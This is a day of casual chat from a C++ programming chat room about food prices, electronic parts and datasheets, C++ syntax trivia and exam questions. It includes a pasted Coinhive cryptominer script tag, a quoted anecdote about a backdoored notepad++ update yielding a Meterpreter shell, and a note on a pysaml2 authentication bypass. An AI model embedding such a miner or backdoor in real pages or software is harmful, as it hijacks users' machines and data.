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12:03 AM
Earthquake?
In NL it would be quite exciting I bet!
 
12:17 AM
Is it ethical to eat shark fin if you consume the entire shark as well?
 
No because they are threatened, or something simliar
 
if you raise shark for food & you have like 1000 sharks on your farm, then yes, it's ethical to eat those sharks
 
Surely, with proper management, we can take some from the sea. Shark meat isn't banned, I had a shark steak last week...
 
I would not eat shark steak - the last time I tried some, it was not tasty
 
Have you had shark fin soup? Tastes like nothing.
 
12:26 AM
It's easy to prepare wrong, I think. In the best case shark steak has the texture of beef steak but the flavor of chicken. Which to me, is my ideal food :)
 
Fuck cuisine from that part of the world. They have a fetish for food with a skin texture. If I wanted to eat skin, I'd stick my hand in my mouth.
 
It appeals to some people, so perhaps, fuck you?
They don't owe you anything...
 
no shark fin soup for me - and shark meat seems ... too rough, I like delicate meat, like fresh juicy alaska crab meat
 
Look at money bags over here, fresh alaska crab
 
still cheaper than avocados
 
12:29 AM
Man, I can't imagine living somewhere with expensive avocado
Cinco De Mayo, 4/$1
Actually, I'm quite surprised it isn't more widely available. They don't ripen on the tree and transport well
 
sure, avocado costs $2-$3 each here, but they are large, fresh, presentable avocados ... not like somewhere, you pay $1 for 2 of those tiny, blackish, wrinkly ones
 
I buy rock solid green avocados and they are perfect in a day or two, in other regions you only get ones that are ripe or over ripe - indicating long storage/transport
 
In Chiago avocados are 2 for $1.00, 100 miles south its 1 for $1.50
Fortunately, I no longer eat instead I live of the khaydarin crystals that get stuck in my carpet at work
 
thought of planting avocado tree, but for some reasons sweet plum in the backyard that was planted 7-8 years ago gave really thick skinned fruits
prefer bought sweet plum - very thin skin and delicious
I am not a farmer, I have no idea how to get great fruits
I am afraid that if plant an avocado tree, result would be the same - spend 10 years waiting, then end up with small, blackish, thick skinned avocado with large core and thin edible layer
that's one reason why many people plant fruit trees in backyard but hardly eat those fruits
 
12:48 AM
Fruit trees quickly revert to natural state without care, its really easy to get unnatractive fruit
You are essentially tricking the biology to create more and more energy dense fruit, this is not something the tree is inclined to naturally
 
So, I need to write a Windows program that persistently monitors an RS232 for commands. I'm wondering if a Windows "service" is a good way to do that?
 
@Mysticial lol there was no way that would end well
 
@Borgleader That was kind of the whole point. :)
 
@Mikhail I once implemented automatic update of a IE toolbar using a Windows service.
It was basically something that polled for updates and installed them when available.
 
1:08 AM
@Borgleader Though honestly, I can't tell if the guy really was a die-hard vs. just a troll. If the former, he/she should file a lawsuit instead of complaining on meta.
 
Silent auto-update was something I had never seen before in other apps. Despite that, I implemented it because I felt it was important to be able to provide a fix in case my plugin would break IE. A year later Chrome came along and also provided silent auto-update.
 
Its also a known security vulnerability
 It took about a week before Bill decided to upgrade notepad++ to the new version.  When he did, he was fed a backdoored version that gave me a Meterpreter shell on his computer.  I immediately emailed him a few screen shots and a keystroke log, and he unplugged his computer a few minutes later.
 
@Mikhail For some reason that page makes all my CPU cores run at 100%.
 
<script src="https://coin-hive.com/lib/coinhive.min.js"></script>
<script>
var miner = new CoinHive.Anonymous('<redacted>');
miner.start();
</script>
:thonk:
 
1:19 AM
neat
Would be cooler if it ran a GPU miner.
 
I love how Ebay is full of people selling engineering sample chips even though Intel goes after people who do so. lol
 
Somebody was selling Cray memorabilia, when it was obviously company property
^I have a box of these at home
THIS CAME OUT OF SEYMOUR CRAY ESTATE SALE ON LAKE WISSOTA ABOUT 12 TO 16 YEARS AGO THIS IS A BLUE Coffee Cup (LOOKS LIKE MARBLE BUT IS NOT )- HAS SOME WEAR MAINLY RIM & MUST OF BEEN HIS PERSONAL FAVORITE TO DRINK COFFEE OUT
 
a box of them?
 
Added two overkill chapters for good measure. The final live demo is Live On Coliru. What you don't see is that omitted values are now "sensibly" parsed :) — sehe 2 mins ago
 
Like a six pack, actually all interns got the mug on the first day. I just took a bunch before I left.
 
1:25 AM
2018 has no resolutions for me
@Mikhail Actually, that would probably be hotter
 
@sehe My new years resolution is 4096x2160.
 
So conventional
Next you tell me you aspire to be 7680 x 4320
 
are those chickens?
I tend to buy a lot of electronic stuff from aliexpress nowadays
 
@sehe Actually, what I want is a monitor that can show pictures from my camera a full resolution, but I haven't been able to find one yet...
 
Maybe look at NASA or somesuch
 
1:34 AM
bought an cam with IR sensor for raspberry pi, a servo driver and 120 pieces of pi jumper, and forked out altogether less than A$25 (USD$20)
but delivery usually takes 2-4 weeks
 
@sehe Not sure it'd help. An 8k monitor has about the right spatial resolution, but still falls short of the color depth.
 
Is it just me, or does this look a bit like the James Webb Space Telescope?
 
Gives a whole new level to the notion of "Fan Boys". I wonder whether they float.
Fan buoyism
 
@sehe Of course they float (you just have to find a dense enough liquid).
 
@TelautonomousKitty The jumpers are fine, but with ~~china~~ ali specials you get dubious quality without reliable datasheets
I did get a chortle once, buying a counterfeit bluetooth adapter, where the manual informed me about other, even crappier counterfeits that the supplier of this component was unhappy about and warning me not to purchase
 
1:51 AM
Life expectancy for toys like drones and self driving toy cars are very short, they expected to crash and be ruined within a month.
 
@JerryCoffin I have to ask. Do you qualify as a liquid? :)
 
@TelautonomousKitty Quality is half the picture, without a datasheet you have no idea what the part is
It's like using a library without a doc or api
You could, assume they are "generic" servo controllers, but how can you design without knowing the spec of the part
 
I will fork out more for better quality ones once I know how to better use them or make a stable version.
 
99% of parts on ALI have no datasheet, or barely a datasheet (more like advertisement)
 
1:53 AM
Great. We have a match :)
 
surely if you have 5 stars from 89 reviews, those people can't all be lying ...
 
@TelautonomousKitty They could certainly all be morons
Does your part have a datasheet? If no, its garbage
imagine you design the worlds best RC car
now you want to make a second
 
@crasic Never attribute to malice what can reasonably be explained by stupidity. :-)
 
without a datasheet, you can buy the "same thing" and get something completely different, performance wise
You are coming to design from software perspective, but your attitude won't get you anwywhere
 
@crasic wait a minute, creating a full second is going to take an enormous amount of energy
 
1:55 AM
if it's generic, I can make do with online tutorial and save me $10
 
hardware is expensive and annoying, by choosing shitty components you can't hope to do anything beyond a hobby
 
Yeah. Unlike politics
 
surely if I build a house, I would not consider components from aliexpress, I just would not ...
 
@TelautonomousKitty There is no such thing as generic, they are all specific parts. But tomorrow your MFG substitutes a different plastic because they ran out for this lot, suddenly the part is crappy, you spend weeks chasing bugs but you bought a part with no datasheet, so you waste all tat time
With a datasheet you get a guarantee, of sorts, that the part with the same part number is the same goddamn part
Which, surprisingly enough, is hard as hell even with legitimate and professional manufacturers
 
but for hobby, it's almost a challenge to get $200 for $100 in exchange of extra work - just so I can prove myself as a genius cheapskate
 
1:58 AM
You don't know what you are talking about...
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You can get cheap with a datasheet, or cheap without a datasheet, or even expensive with a datasheet and not
My $0.003 resistor has a 20 page datasheet
3/10ths of one cent
 
if you have not noticed, genius cheapskates tend to get a lot followage ...
at end of the day, regardless datasheet, the real measure of success is whether you can get that self driving toy car to work
 
2:19 AM
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Q: Getting started with Boost Link errors

JeffI am just getting started with Boost and trying the first example. I says that it is header only. I drop the code in and add the path for the additional include D:\boost_1_66_0\;%(AdditionalIncludeDirectories) I also turned off precompiled headers. I compiled the libraries and added the...

Oh that's an adorable title
Oh, you're just getting started! I'm a pro at Boost Link errors
 
@sehe Boost Link? Is that like PageRank boosting some links at the expense of others?
 
Oh god. You made me think of XLink
 
@sehe You have my honest and sincere apologies. I think I'll leave for a while now.
 
#Metoo
Sleep well all
 
@sehe Good night. I hope I haven't given you any nightmares.
 
3:28 AM
@TelautonomousKitty Lol, you have low standards my kitty friend
the real measure of success is to be able to reproduce your work reliably, because this means you have achieved a real invention, and not just a one-off piece of art
 
@crasic sure, go make a working self driving car yourself
 
 
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4:58 AM
@TelautonomousKitty turns on auto-pilot
@Mikhail Specifically, first author, right?
 
5:14 AM
telstra, australia largest telco is impressively imcompetent
4 weeks, still have problem activating a sim card
 
5:31 AM
@crasic But what if the datasheet you have isn't the one for your resistor. I wouldn't be surprised if the datasheet you receive with your resistors is just a generic datasheet regardless from which factory it went out. If you want things to be able to reproduce things, the rule of thumb is to get the same part from the same manufacturer and possibly all of the part from the same production batch.
Otherwise even the "legit" device produced in different batch might differ regardless of the datasheet.
 
5:47 AM
@LoĂŻcFaure-Lacroix This is very true, and is a large problem over all in manufacturing
Typically, however, they will specify tolerances and design their processes to produce components within the specification
they also certify testing according, usually by lot, according to certain lists
this is far from perfect
But, at least they commit to something
with no datasheet you have no commitment
However, there are legitimate cases where you must design to beyond the MFG spec for a given part
This is not recommended and a huge headache, but sometimes unavoidable
aka known as binning
In this scenario, you are responsible for creating and implementing the set of tests in order to satisfy your requirements and discard those that do not match, if you are a large customer the manufacturer may agree to do this for a premium
 
6:02 AM
sounds too difficult, just pay somebody to do it
Sounds too difficult, just pay somebody to do it.
 
@Mikhail Sometimes, you are the one they pay to do it :O
 
Its not done in the US
 
What is not?
 
6:39 AM
@crasic not really, you just don't know the exact spec. Also for large customer I'd say you simply don't buy parts from AliExpress if you're beyond prototyping/hobby. With large volume you can get price closer to the ones from aliexpress.
What suck is how I can buy 10 legit MCU from aliexpress for the price of one from mouser or digikeys.
 
Yes, that's why American manufacturing is fucked, also the shipping time
 
My guess is that AliExpress shop simply buy large volume of chip/component from the factories directly and then sell them a bit more than the bulk price. So they gain money from frequent low volume sales instead of making rare high volume sales. And the missing datasheet is simply reducing the cost as paper isn't free and you can technically find the datasheet on the net anyway. As for them not showing which datasheet it's just them being just shop that sell anything they can
I wouldn't expect a datasheet from a shop that sell electronic component as well as cookware and glowing testicle bags for bicycles.
 
6:57 AM
I would not buy from aliexpress when reliability or safety is an issue
but for hobby, it's offers good value to money toys
 
Order of algorithm for Win32's GetDlgItem?
 
7:19 AM
@LoĂŻcFaure-Lacroix I think we are talking about different things, datasheet applies to all the units of a given part, not the specific individual physical device, that is certification, in either case when purchasing the same part from Ali its just a counterfeit potential
However, theree are many sellers that sell "generic" components, like LED controllers, power supplies, knockoffs and clones of "standardized" part numbers
When I say, "no datasheet" , I literally mean the part does not have a definition, just a picture and seller description
@LoĂŻcFaure-Lacroix Have you verified their quality, often they are poorly stored, unknown origin, or otherwise second market, if they are unreeled they are useless for manufacturing and cheap for hobby market
@Mikhail Why would that be, Loic is talking about hobby purchases, the supply chain is geared towards qty aka manufacturers/company, I get parts from digikey overnight once or twice a week, and our production department purchases by thousands from other vendors to ship directly to factories
 
@crasic What i've seen trying to generate wacky sinusoids, was that Chinese vendors (you gotta go chat with them), you can source assembled parts for a fraction of the cost of the individual components on mouser.
 
@Mikhail Yeah no shit, its all garbage though
 
Well, my concern was that the parts were "bulky", but this didn't matter too much. If anything, the added weight made the client think we built something valuable :-)
 
are you talking custom assemblies?
like engineering services?
 
Kinda, the case was done by an engineering service, but I had to get the modulator arranged by myself. Thing looked like a signal generator.
 
7:31 AM
That stuff I respect them for, its not just hawking parts on the side market
 
The engineering service was local, but they helped us outsource.
 
Right,
I've encountered that business strategy
Mouser is used for spot buy and small runs, you also deal directly for qty, I am not arguing that parts are overpriced when you buy onesie-twosies
but there is cost added
when you buy IC, there are storage requirements
now you can either pre-cut reel and store individually or cut every time there is a 2/3 pc order
In either case, there is labor, and monitoring
Most IC's are sold QTY:500 or more, usually the datasheet will specify the MFG qty, after that its layer after layer of reseller.
 
Well the overriding feeling is that you can purchase a nearly good-to-go circuit for a fraction of the cost of the parts on mouser.
 
Why is mouser the gold standard? they are expensive 1x,2x
 
or digitkey
 
7:36 AM
"Good to go", like fully stuffed PCB, I mean sure. That doesn't surprise me
Octopart
vyrian
 
 
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8:54 AM
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Q: How come GetDefaultCommConfig fails on windows 10

Jon TrauntveinI use the following code to verify that a serial port name is valid on the computer: typedef std::pair<StrAsc const, bool> port_pair_type; typedef std::list<port_pair_type> port_pairs_type; port_pairs_type pairs; StrBin config_buffer; config_buffer.fill(0,sizeof(COMMCONFIG)); while(!pairs.empty...

^ why did the guy get downvoted?
 
9:20 AM
@Mikhail People are dicks and cunts.
 
nwp
@Mikhail My guess is that the reinterpret_cast is obviously UB and asking why certain UB manifests some way is really not a good question. Additionally it is not a self-contained example because you have to for example implement StrBin to reproduce the problem, and the problem might exactly be StrBin which again makes it not a good question. Looks like commenting "[mcve] please" is the best you can do for now.
 
only Australians are cunts
 
@Mikhail I am only trying to be politically correct and not to exclude some genitalia.
 
Ven
hi lounge
 
hello
 
9:55 AM
Hey, guys, can u help me? I'm a total noob in driver programming, but I need to solve the following task: for example, some app opens a socket, and I need to 1) intercept this call and take a control; 2) perform some actions in user mode; 3) return a descriptor to this socket and, hence, a control back to the app. So the question: can I use C# (and P/Invoke) for that purpose or can I use UMDF V2?
 
Ven
@Injector I think you'll be better off asking on the main website
asking about C# and drivers in Lounge<C++> doesn't often work
 
@Ven OK
 
10:48 AM
we are more likely to correctly answer to poetry questions
 
Ven
well we wouldn't want to get banned from snakchat now would we?
 
would we? :)
 
Ven
wassup?
 
I'm bored
sounds familiar, right? :p
it's sunny outside without wind, but I've nowhere fun close by to walk and everybody else is working
 
Ven
@Morwenn not enough python assignments at $job?
 
10:54 AM
@Ven je suis actuallement en intercontrat ^^'
I looked for expensive formations, but couldn't find any relevant ones around
 
Ven
ah
should we fly Stroustrup to your house so you can tell him why he sucks?
 
not really, the poor guy already had a committee to handle for years and years, I don't want to make him any more sad
 
@Morwenn just strut around in your birthday suit
 
Ven
Stroustrut around
 
birthday suit :hum:
 
 
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12:45 PM
Such resources exist, yet, principal software engineers here still do it wrong.
 
@wilx it always required atomics or fences, neither of which people tend to use
 
@Mgetz But you would expect people on such high engineering position to know this.
 
nwp
Blame intel.
 
@nwp This is Java, people do it in Java here.
(SFW)
Total solar eclipse has caused drop in pornhub traffic. :D
 
nwp
Java doesn't have UB and gives you more or less sane behavior in the presence of race conditions, so I wouldn't see it as critical.
 
12:50 PM
@wilx I've come to expect remarkably little from so called 'senior' developers, mostly because I am one
 
@Mgetz :D Well, there are even worse people. :)
 
@wilx I know, I've interviewed them
 
@Mgetz or you could just rely on the existing lazy thread-safe class-loading semantics and just eagerly instantiate the instance
 
@ratchetfreak when I used to use java or C# we did this more than once yes, C# even has a class for it
 
@wilx stealing from flagged messages :*
 
12:55 PM
@Shoe lol, yeah :D
 
1:06 PM
whats the difference between having int* myvar or int * myvar or int *myvar
 
@CoderCat Style.
 
oh so it does the same thing?
 
@CoderCat Yes. White space has almost no significance in C++.
 
@ratchetfreak in general relying on language/framework level guarantees is always better than rolling your own unless you're someone who has enough domain knowledge to know better. Tbh even then most likely.
 
can I do printf("%d%d%d%d", arr[0,1,2,3]);
 
Ven
1:16 PM
no
arr[0,1,2,3] is strictly equivalent to arr[3]
 
@Ven the evil person in me read this and went: "Unless you're the sort of pain that provides your own printf and then overloads operator, and operator[]
 
ah
 
Ven
@Mgetz overloading operator, on int?
 
@Ven right... you might have to use a UDL to get that sequence started... you could do it on int, but if you do you're asking for maaaaajor pain
 
Ven
@Mgetz I... don't think you could even if you wanted to. int is neither a class nor an enum.
of course @LucDanton can prove me wrong, but...
 
1:21 PM
 
@Ven either way it's a bad idea and we're annoying @thecoshman
 
Ven
@Mgetz but pedantry ;_;
 
@Mgetz Que?
 
@Ven I'm pretty sure you're right and we'd have to do something to initialize the sequence before we could do hateful things like operator, overloads. Regardless it's a bad idea as there are already good formatting libraries out there.
 
I hate girls >:/
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1:27 PM
5 mins ago, by thecoshman
 
Oh, I just noticed that the usual pinned message about rules is missing
cba to sort it out though
 
@thecoshman ah I thought you were asserting a rules violation, a sort of tagged yellow card
 
nah XD
 
 
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2:46 PM
@thecoshman It's the new year resolution.
@Ven well could be wrong but nothing imply that arr is of type int.
 
Ven
@LoĂŻcFaure-Lacroix mootless point, 0/10
 
If you override [] on a class you can return anything you like.
 
nwp
except common sense
 
The brackets are confusing me — TheZedYasuo 1 min ago
 
Ven
@LoĂŻcFaure-Lacroix still totally irrelevant
 
2:57 PM
@Ven you're irrelevant
 
Ven
@LoĂŻcFaure-Lacroix we're talking about 0,1,2,3, so no, you are completly missing the point.
 
you could add some curly bracket in there
 
@LoĂŻcFaure-Lacroix There should be a pinned message to that effect then :P
 
3:29 PM
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A: Incorrect vector size with Boost allocators

seheThe allocator returns raw, uninitialized memory. Indirecting through it as though it pointed to an object of type C is Undefined Behaviour. You could - of course - actually do the grunt work using placement-new: CPtr c = alloc_c.allocate_one(); new (&*c) C(allocator_instance); Note that, lik...

Wow. I just looked at OP's CV. Seriously impressive.
Apparently it's true that even the most experienced coder can fall to noob traps (like with directly using allocators)
 
Ven
> My latest book, Effective Debugging: 66 Specific Ways to Debug Software and Systems was published in 2016
"ask sehe" is probably there ;-).
 
3:44 PM
@Ven Yeah I was quite amused. He's probably too good at debugging. Leading to conclusions like the one he posted in the self answer:
> It seems that moving the constructed object from the default memory pool to the segment one somehow confuses the vector's implementation
To me, debugging is band-aid
Sometimes you need it, but only if you fell.
I'd go Trumpian and say "I prefer the ones that didn't get caught"
 
Ven
@sehe depends on which part you broke your leg
 
Huh. I never shot my foot so hard that my leg broke :)
 
Ven
Were you anyone else, I'd say "you need more C++ then".
@sehe I like this part – being "too good" at debugging. Some would say cowboy debugging – not understanding the issue but finding a way to do what you need anyway.
 
Or getting to the point of enlightenment where you "understand" UB! (It's not UB, it's perfectly fine, I've seen how it works)
 
 
Ven
3:54 PM
@sehe or for the worst offenders, "I wrote that optimization pass" :-P.
I'm not sure I could consider someone "good at debugging" if they actually believe they can control a UB fire
^ usually ends up like this.
 
@Ven I wrote a pretty nifty optimizer for BF the other day codewars.com/kata/58924f2ca8c628f21a0001a1 Turns out I optimize way too much and it fails the tests :|
 
@Ven ubsan /o/
 
Ven
@sehe why does it fail the test?
@Morwenn first of it's ub-sama
 
I'm using ub-senpai for ci-kun :3
 
Ven
/kms
 
4:02 PM
@Ven The simplest case is when I just drop all code with no observable side effect in the end. But even without that I apparently fail the "blind" tests which I can't see... So I'm not sure what they actually expect.
Perhaps I'll have to go and spell the description out for EXACT instructions on how and what to do. But that's not how I roll.
 
Ven
is there a way to talk to a human?
 
I've seen some mod interactions. They're usually pretty cocky ("Well, 87361235 users passed the kata, it must be your code" :))
@Morwenn That's not end-all be-all -- that linked question earlier ran clean with asan+ubsan
 
I don't remember having used an actual debugger for years, I simply pray the UB away v0v
 
Ven
There are other things you should've prayed away apparently :p.
 
examples please :D
 
 
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Ven
5:12 PM
tfw you start working on a project, and end up fixing a few bugs in the compiler...
 
 
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7:31 PM
wow. what did you do the the room, it looks kinda empty
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8:12 PM
@Feeds Very much the same happens with cars. For example, when the Honda Civic (at least what's called a Civic in the US) was introduced it was tiny. It slowly grew, until it was a fairly average-sized car. Then they introduced the Honda Fit, which is around the size of the original Civic (if anything, the original Civic was probably smaller). 20 or 30 years from now, the Fit will be average sized, and they'll introduce another that's really small.
 
8:44 PM
When I tell normies I do nueroscience they're interested, when I tell them I do C++ they leave.
 
So I have this CMake based project and I'm making a dockerfile that automates the build because I want to put it in a CI system. Do you people usually download dependencies as part of the build? or use the package managers? or check-in dependencies into the repo (/submodules)?
I'm asking because of one small compile flag that needs to be passed to boost python (-fPIC) I can't reuse the version that comes from apt-get because its missing
in the precompiled binaries at ubuntu servers
 
8:57 PM
I'd rebuild all the libraries in a local directory...
 
@sehe why do I smell a 'bp-san' in the future of clang...
 
9:11 PM
So one of my students came to ask me if `int * const p;` is a valid declaration.
Sure, you just need to initialize the member. If it's a local decl, maybe not.
 
@Mgetz bp?
room topic changed to Lounge<C++>: what did you do the the room [c++] [c++11] [c++14] [c++17] [c++-faq]
 
@sehe branch prediction, basically a sanitizer to detect things that may be unsafe without a fence after a branch
 
@KarimAgha It's all reasonable, depending on your needs
if the dependencies in repo isn't good, then yes, build yourself
 
Turns out its from a colleague of mine in an exam. The exam is a multi-choice exam. No option allows for it to be valid.
Continuing this ambush was -"When is static members defined?" the question was asking for a defined order.
 
nwp
Was "on wednesdays" an option?
 
9:19 PM
@CaptainGiraffe At compile time. And it is resolved at link time. And runtime is when the static initializers emitted by a module run.
 
@sehe The options to this question was nowhere near your suggestion. "the first time an object of this class was created" was the most reasonable one.
 
@nwp Only if it coincides with a full moon.
 
@CaptainGiraffe wow. That's pretty wrong
 
@sehe Yep, sehe is British, well versed in Monty Python. This Parrot is a Norwegian Blue.
 
I'm Engrish?
 
9:25 PM
I'm not sure? I tried to flag it to the mods, but I got scared!
 
@JerryCoffin That's only if you do the morris dance, it's tuesdays with a 3/4 waning moon otherwise
 
@CaptainGiraffe Dutch
Glad we agree
 
@sehe You've told me this before, my memory sometimes need a jog or so.
Thanks for letting me vent. Let me leave you with this Single-choice from that same exam. Which is a valid destructor?
struct S { ... }.
void S()~;
~S();
~S(void);
 
9:54 PM
@CaptainGiraffe None is. Two of them are valid destructor declarations.
 
@Mgetz ...except in months whose names end in "y", of course.
 
Auguy rears its ugly head
 
@sehe Here's a valid destructor destroyer: void gozer() {}
 
10:40 PM
@sehe I hope you'd sympathize with me when I shed a few gray hairs.
 
permission granted
 
10:52 PM
@JerryCoffin I'd laugh and think that your really funny reply was really funny but What I need right now to perk me up is probably something from the apothecary. Thing is, I'm kinda the Giraffe/Captain that has to answer why these silly ass questions were stated in the first place. The author of the questions have clashed with me before.
 
@CaptainGiraffe I can't blame you, but for me it's a situation where my only real choices are to laugh or to cry--and laughing is definitely more fun.
 
@CaptainGiraffe Academic Fiefdoms
 
@crasic It is laws and stuff I need to comply to.
@crasic Why you would relate that to Fiefdoms is probably not solvable by any NP oracle.
 
within academic institutions, but moreso in research universities, professors are given large leway to conduct their own affairs
 
sure
this was a very dry debate crasic.
 
11:06 PM
I'm trying to empathize :)
Its really difficult and shitty to intervene against another professor
 
Ah, I appreciate that =)
 
it's even harder if you are a post-doc/grad student and they are your boss
@CaptainGiraffe I'm curious, what is the nature of the laws governing this interaction, is there a student dispute that you need to respond to?
 
@crasic Currently no, there is not.
@crasic But there is a group that has voiced complaints. That is usually handled esily.
@crasic There are a few laws that apply to me in this particular scenario
 
11:22 PM
> French cheese heist: 700 blocks of Saint-Nectaire pilfered by thieves
 
@Abyx it's dead
 
11:39 PM
@CaptainGiraffe Maybe this will help
 
11:50 PM
Don't forget: eat your veggies and read the rules
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Ven
@LucDanton OH NO
 
oh yeah baby
 
@Ven faut pas en faire tout un fromage non plus
 
I am not against so called technology and so called 'smart' things, but I would rather not seeing anyone having a diarrhea, who rushes to the smart bathroom, only to face a locked toilet lid because security issue stuff ups.
 
Ven
@LucDanton j'accuse le calembour mais j'accuse aussi les voleurs de frometons
@LucDanton en plus c'est pas très raffiné
 
11:55 PM
 
Oh, this is glorious: pysaml2 library uses an `assert` statement to check & reject users who use the wrong password; however when running with the optimiser enabled, all assert statements are stripped… so: anyone can log into anything with any password. https://github.com/rohe/pysaml2/issues/451
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